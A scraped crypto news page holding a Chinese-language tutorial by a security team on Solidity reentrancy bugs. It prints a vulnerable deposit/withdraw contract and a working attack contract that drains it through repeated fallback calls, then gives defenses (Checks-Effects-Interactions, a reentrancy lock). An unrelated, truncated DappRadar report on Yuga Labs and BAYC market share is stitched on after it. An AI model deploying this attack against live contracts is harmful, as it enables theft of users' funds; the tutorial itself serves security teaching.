您的位置: > 比特币行情> 正文

打印本文             

By:小白@慢雾安全团队

背景概述

看了一个关于学习 solidity 的站(https://solidity-by-example.org),里面讲了关于 solidity 智能合约的很多漏洞,考虑到现在针对智能合约的攻击事件频频发生,不法分子盗取的加密资产越来越多,我就想写一些与智能合约安全审计相关的文章给想了解智能合约安全审计的入门者阅读,让一些对智能合约安全审计感兴趣的初学者可以学到如何识别一些常见的漏洞和如何利用这些漏洞去做什么事情。这次我们就一起先看一个很经典的漏洞 —— 重入漏洞

前置知识

重入漏洞相信大家都有所耳闻了,那么什么是重入漏洞呢?

以太坊智能合约的特点之一是合约之间可以进行相互间的外部调用。同时,以太坊的转账不仅仅局限于外部账户,合约账户同样可以拥有以太并进行转账等操作,且合约在接收以太的时候会触发 fallback 函数执行相应的逻辑,这是一种隐藏的外部调用。

我们先给重入漏洞下个定义:可以认为合约中所有的外部调用都是不安全的,都有可能存在重入漏洞。例如:如果外部调用的目标是一个攻击者可以控制的恶意的合约,那么当被攻击的合约在调用恶意合约的时候攻击者可以执行恶意的逻辑然后再重新进入到被攻击合约的内部,通过这样的方式来发起一笔非预期的外部调用,从而影响被攻击合约正常的执行逻辑。

漏洞示例

好了,看完上面的前置知识我相信大家对重入漏洞都有了一个大致的了解,那么在真实的环境中开发者写出什么样的代码会出现重入漏洞呢,下面我们来看一个比较典型的有重入漏洞的代码:

// SPDX-License-Identifier: MITpragma solidity ^0.8.3;contract EtherStore { mapping(address => uint) public balances; function deposit() public payable { balances[msg.sender] += msg.value; } function withdraw() public { uint bal = balances[msg.sender]; require(bal > 0); (bool sent, ) = msg.sender.call{value: bal}(""); require(sent, "Failed to send Ether"); balances[msg.sender] = 0; } // Helper function to check the balance of this contract function getBalance() public view returns (uint) { return address(this).balance; }}


漏洞分析

看到这里大家可能会有疑惑了,上面的代码就是个普通的充提币的合约,凭什么说他有重入攻击呢?我们来看这个合约的 withdraw 函数,这个函数中的转账操作有一个外部调用(msg.sender.call{value: bal}),所以我们就可以认为这个合约是可能有重入漏洞的,但是具体能否产生危害还需要更深入的分析:

1. 所有的外部调用都是不安全的且合约在接收以太的时候会触发 fallback 函数执行相应的逻辑,这是一种隐藏的外部调用,这种隐藏的外部调用是否会造成危害呢?

2. 我们可以看到在 withdraw 函数中是先执行外部调用进行转账后才将账户余额清零的,那我们可不可以在转账外部调用的时候构造一个恶意的逻辑合约在合约执行 balance[msg.sender]=0 之前一直循环调用 withdraw 函数一直提币从而将合约账户清空呢?

下面我们看看攻击者编写的攻击合约中的攻击手法是否与我们的漏洞分析相同:

攻击合约

contract Attack { EtherStore public etherStore; constructor(address _etherStoreAddress) { etherStore = EtherStore(_etherStoreAddress); } // Fallback is called when EtherStore sends Ether to this contract. fallback() external payable { if (address(etherStore).balance >= 1 ether) { etherStore.withdraw(); } } function attack() external payable { require(msg.value >= 1 ether); etherStore.deposit{value: 1 ether}(); etherStore.withdraw(); } // Helper function to check the balance of this contract function getBalance() public view returns (uint) { return address(this).balance; }}


我们看到 EtherStore 合约是一个充提合约,我们可以在其中充提以太。下面我们将利用攻击合约将 EtherStore 合约中用户的余额清零的:

这里我们将引用三个角色,分别为:

用户:Alice,Bob

攻击者:Eve

1. 部署 EtherStore 合约;

2. 用户 1(Alice)和用户 2(Bob)都分别将 1 个以太币充值到 EtherStore 合约中;

3. 攻击者 Eve 部署 Attack 合约时传入 EtherStore 合约的地址;

4. 攻击者 Eve 调用 Attack.attack 函数,Attack.attack 又调用 EtherStore.deposit 函数,充值 1 个以太币到 EtherStore 合约中,此时 EtherStore 合约中共有 3 个以太,分别为 Alice、Bob 的 2 个以太和攻击者 Eve 刚刚充值进去的 1 个以太。然后 Attack.attack 又调用 EtherStore.withdraw 函数将自己刚刚充值的以太取出,此时 EtherStore 合约中就只剩下 Alice、Bob 的 2 个以太了;

5. 当 Attack.attack 调用 EtherStore.withdraw 提取了先前 Eve 充值的 1 个以太时会触发 Attack.fallback 函数。这时只要 EtherStore 合约中的以太大于或等于 1 Attack.fallback 就会一直调用 EtherStore.withdraw 函数将 EtherStore 合约中的以太提取到 Attack 合约中,直到 EtherStore 合约中的以太小于 1 。这样攻击者 Eve 会得到 EtherStore 合约中剩下的 2 个以太币(Alice、Bob 充值的两枚以太币)。

下面是攻击者的函数调用流程图:

solidity

修复建议

看了上面的攻击手法相信大家对重入漏洞都会有一个自己的认知,但是只会攻击可不行,我们的目的是为了防御,那么作为开发人员如何避免写出漏洞代码还有作为审计人员如何快速发现问题代码呢,下面我们就以这两个身份来分析如何防御重入漏洞和如何在代码中快速找出重入漏洞:

(1)作为开发人员

站在开发者的角度我们需要做的是写好代码,避免重入漏洞的产生。

1. 写代码时需要遵循先判断,后写入变量在进行外部调用的编码规范(Checks-Effects-Interactions);

2. 加入防重入锁。

下面是一个防重入锁的代码示例:

// SPDX-License-Identifier: MITpragma solidity ^0.8.3; contract ReEntrancyGuard { bool internal locked; modifier noReentrant() { require(!locked, "No re-entrancy"); locked = true; _; locked = false; }}


(2)作为审计人员

作为审计人员我们需要关注的是重入漏洞的特征:所有涉及到外部合约调用的代码位置都是不安全的。这样在审计过程中需要重点关注外部调用,然后推演外部调用可能产生的危害,这样就能判断这个地方是否会因为重入点而产生危害。


Yuga Labs 或对元宇宙/Web3 格局产生重大影响

撰文:Pedro Herrera,DappRadar 撰稿人

编辑:南风

撰文时,Yuga Labs 的 6 个 NFT 系列已经占到了以太坊上 NFT 市值的 43%。

上图:Yuga Labs 的 6 个 NFT 项目的市值,数据截至2022年3月29日

不到一年前,也就是2021 年 4 月 28 日,Yuga Labs 推出了「无聊猿游艇俱乐部」(BAYC),这是 NFT 历史上最具影响力的项目之一。BAYC 与CryptoPunks一起引领了 NFT 热潮,在 2021 年见证了创纪录的交易量。这两个 NFT 项目的重要性可以说超越了区块链领域,达到了一种文化现象的地位。CryptoPunks 和 Bored Apes (无聊猿) 已经通过知名拍卖行佳士得 (Christie’s) 和苏富比 (Sotheby’s) 成为主流,并成为数十位名人在社交媒体上的头像。因此,当 Yuga Labs 宣布收购 CryptoPunks 和 Meebits 的知识产权时,整个加密社区陷入一阵狂热。

收购 CryptoPunks 知识产权几天之后,Yuga Labs 通过公布其元宇宙计划后再次登上头条,包括其备受期待的代币ApeCoin以及 BAYC 生态系统元宇宙项目Otherside。Yuga Labs 经历了从最初推出 BAYC 这个当时铸造价只有0.08 ETH(约合 120 美元) 的 NFT 收藏品到发展成为一个领先的 Web3.0 品牌。Yuga Labs 目前的估值已达 40 亿美元,并建立了一个充满活力的元宇宙生态系统。本报告将从不同角度阐述 Yuga Labs 公告的影响,并阐述这些最近的行动在 Web3 和元宇宙的前景中的含义。

关键信息

Yuga Labs 成为了 Web3 领域的主导力量,其 6 个 NFT 系列的总市值约为 81 亿美元,占以太坊前 100 名 NFT 收藏品项目市值的43%

ApeCoin代币通过其 23 亿美元的市值加强了 Yuga Labs 的品牌定位。

由 Anderseen Horowitz (a16z) 和 Animoca Brands 牵头的4.5 亿美元投资(估值 40 亿美元) 进一步推动了 Yuga Labs 的元市场计划。

目录

Yuga Labs 的 NFTs 占据以太坊上 NFT 地板市值的 43%

CryptoPunks 和 Meebits 的底价在收购后上涨

作为 BAYC 生态的经济引擎,ApeCoin 代币的市值接近 23 亿美元

4.5 亿美元的投资提振了 BAYC 元宇宙

对 Web3 领域产生的影响

Yuga Labs 的 NFTs 占据以太坊上 NFTs 地板市值的 43%

在收购 Larva Labs 拥有的 CryptoPunks 和 Meebits 的知识产权之前,Yuga Labs 已经控制着整个加密领域最具影响力的名字之一:Bored Ape Yacht Club(BAYC)。BAYC 系列包含 10,000 个 NFT,成为了 NFT 头像运动的代名词。该项目受到 NFT 社区的广泛欢迎,并很快被著名的 NFT 收藏家所寻找,最显著的就是好莱坞、体育和音乐名人。这些名人的高度参与给这个 NFT 系列带来了一种与现实世界中的奢侈品牌相似的独特性。

除了10,000 个「无聊猿」NFT,Yuga Labs 的 BAYC 生态系统还包含其他3 个额外的 NFT 项目

The Bored Ape Kennels (BAKC,无聊猿狗舍俱乐部)

The Mutant Ape Yacht Club (MAYC,突变猿游艇俱乐部)

The Bored Ape Chemistry Club (BACC,无聊猿化学俱乐部)

这些 NFT 系列展示了 Yuga Labs 实现的高实用性。「无聊猿」NFT 的持有者们已经免费获得了BAKC(总计 10,000 个) 和突变血清 (BACC),比例为 1:1 (外加 Gas 费)。

编者注:BACC 总共包含 10,000 份 NFT 突变血清 (Mutant Serum) ,由 3 种不同的突变血清组成:M1 Mutant Serum、M2 Mutant Serum 和 Mega Mutant Serum。BAYC 无聊猿的持有者在空投到 BACC 突变血清之后,可以选择将 BACC 血清与 BAYC 无聊猿进行结合以铸造 MAYC 突变猿 NFT,也可以选择在 OpenSea 等平台上将 BACC NFT 进行出售。注入 M1 或 M2 血清的 Bored Ape (无聊猿) 外观会有较轻微的变化,相比之下 Mega Mutant Serum 所带来的突变外观会更为疯狂以及难以预测,因此这种血清的价格更高。此外,血清在使用后将会消失。

BAYC 生态系统是整个 NFT 领域中最强大的群体之一。根据 DappRadar 的 NFT 价值估算工具,BAYC、BAKC、MAYC 以及 BACC这 4 个 NFT 系列的市值估计为 55 亿美元,这一市值占了以太坊前 100 名 NFT 收藏品系列的底价市值的29%。如下图所示:

Yuga Labs 或对元宇宙/Web3 格局产生重大影响

撰文:Pedro Herrera,DappRadar 撰稿人...

关于我们

币安下载官方app|币安iOS版|币安安卓版|币安电脑网页版

  • 用户支持
  • 帮助中心
  • 服务条款
微信二维码
币安官网渠道 数字区块链交易平台 Powered by binance
QR code